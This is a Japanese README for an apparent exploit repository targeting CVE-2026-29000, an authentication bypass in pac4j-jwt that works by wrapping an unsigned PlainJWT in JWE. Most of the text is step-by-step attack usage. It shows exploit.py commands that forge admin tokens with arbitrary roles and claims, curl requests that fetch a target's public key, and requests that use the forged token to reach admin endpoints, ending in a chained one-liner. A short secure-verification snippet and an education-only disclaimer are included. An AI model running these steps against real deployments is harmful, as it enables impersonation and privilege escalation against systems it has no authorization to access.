
CVE-2026-29000 のエクスプロイト。pac4j-jwt における JWE でラップされた PlainJWT を介した JWT 認証バイパスであり、トークンの偽造と権限昇格を可能にします。
pac4j-jwt における JWE ラップ PlainJWT を介した JWT 認証バイパス
CVE-2026-29000 は、4.5.9、5.7.9、6.3.3 より前のバージョンの pac4j-jwt に影響を与える重大な認証バイパス脆弱性です。この脆弱性により、リモートの攻撃者が認証トークンを偽造し、署名検証をバイパスできるようになります。
この脆弱性は、暗号化された JWT(JWE)を処理する際に JwtAuthenticator コンポーネントに存在します。JWE トークンを受信すると:
exploit.py - 悪意のあるトークンを生成する Python エクスプロイトスクリプトvulnerable_server.py - 脆弱性をシミュレートするデモサーバーrequirements.txt - Python の依存関係README.md - このファイル# リポジトリをクローン
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000
# 依存関係をインストール
pip3 install -r requirements.txt
python3 vulnerable_server.py
サーバーは以下を行います:
server_private.pem と server_public.pem に保存)実際の攻撃シナリオでは、ターゲットサーバーから公開鍵を取得します:
# JWKS エンドポイントから公開鍵をダウンロード
curl http://target-server.com/jwks > target_jwks.json
# または直接公開鍵エンドポイントから
curl http://target-server.com/public-key > target_public.pem
テストサーバーの場合:
curl http://127.0.0.1:5000/public-key > server_public.pem
エクスプロイトスクリプトを使用して、JWE ラップ PlainJWT を作成します:
# 基本的な使用法 - admin として認証
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
# 複数のロールを持つ特定のユーザーとして認証
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
# カスタムクレームを追加
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","department":"IT"}'
# トークンをファイルに保存
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--output malicious_token.txt
# 悪意のあるトークンを設定(exploit.py の出力からコピー)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
# 公開エンドポイントにアクセス(動作するはず)
curl http://127.0.0.1:5000/api/public
# 悪意のあるトークンでユーザーエンドポイントにアクセス(バイパス!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 悪意のあるトークンで管理者エンドポイントにアクセス(権限昇格!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
管理者エンドポイントからの期待される成功出力:
{
"status": "success",
"message": "Admin endpoint accessed - RESTRICTED DATA",
"user": "admin",
"roles": ["ROLE_ADMIN"],
"secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
"admin_info": "This is sensitive administrative data"
}
# 1. 依存関係をインストール
pip3 install -r requirements.txt
# 2. 脆弱なサーバーを起動(ターミナル 1)
python3 vulnerable_server.py
# 3. 新しいターミナルで公開鍵を取得
curl http://127.0.0.1:5000/public-key > server_public.pem
# 4. 悪意のある管理者トークンを生成
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
# 5. トークンを変数に抽出
TOKEN=$(cat token.txt)
# 6. 公開エンドポイントをテスト(ベースライン - 認証不要)
curl http://127.0.0.1:5000/api/public
# 7. ユーザーエンドポイントをテスト(悪意のあるトークンで成功するはず)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 8. 管理者エンドポイントをテスト(エクスプロイト成功 - 制限付きデータにアクセスできるはず)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
# 9. レスポンスにフラグが含まれていることを確認
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
[--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens
options:
-h, --help show this help message and exit
--subject SUBJECT, -s SUBJECT
Subject (username) to impersonate
--roles ROLES, -r ROLES
Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
--public-key PUBLIC_KEY, -k PUBLIC_KEY
Path to RSA public key PEM file
--claims CLAIMS, -c CLAIMS
Additional claims as JSON string
--generate-keypair, -g
Generate a test RSA keypair and save to files
--output OUTPUT, -o OUTPUT
Output file for the generated token
1. クライアントが署名付き JWT を送信
2. サーバーが公開鍵で署名を検証
3. 有効な場合、クレームを抽出
4. クレームに基づいてアクセスを許可
1. 攻撃者がサーバーの RSA 公開鍵を取得
2. 攻撃者が任意のクレームを持つ PlainJWT(alg: none)を作成
例: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. 攻撃者がサーバーの公開鍵を使用して JWE で PlainJWT を暗号化
4. サーバーが JWE の復号化に成功
5. サーバーが署名検証なしで内部 PlainJWT からクレームを抽出
6. サーバーが偽造されたクレームに基づいてアクセスを許可
この脆弱性は以下の理由で発生します:
def verify_jwe_token_secure(token, private_key):
# 1. JWE を復号化
inner_jwt = decrypt_jwe(token, private_key)
# 2. 内部 JWT ヘッダーを解析
header = parse_jwt_header(inner_jwt)
# 3. 重要: アルゴリズムが "none" でないことを確認
if header.get('alg') == 'none':
raise SecurityError("PlainJWT not allowed")
# 4. 重要: 内部 JWT の署名を検証
if not verify_jwt_signature(inner_jwt, public_key):
raise SecurityError("Invalid JWT signature")
# 5. 検証後にのみクレームを抽出
return extract_claims(inner_jwt)
pip3 install -r requirements.txtpython3 vulnerable_server.pycurl http://127.0.0.1:5000/public-key > server_public.pempython3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pemcurl http://127.0.0.1:5000/api/publiccurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/usercurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin# ワンライナーのセットアップとテスト
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
このツールは教育目的および許可されたセキュリティテスト専用に提供されています。コンピュータシステムへの不正アクセスは違法です。このツールは、所有しているシステムまたはテストの明示的な許可があるシステムに対してのみ使用してください。
MIT ライセンス - 教育目的専用
セキュリティ研究者 日付: 2026-03-16
FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS} を探す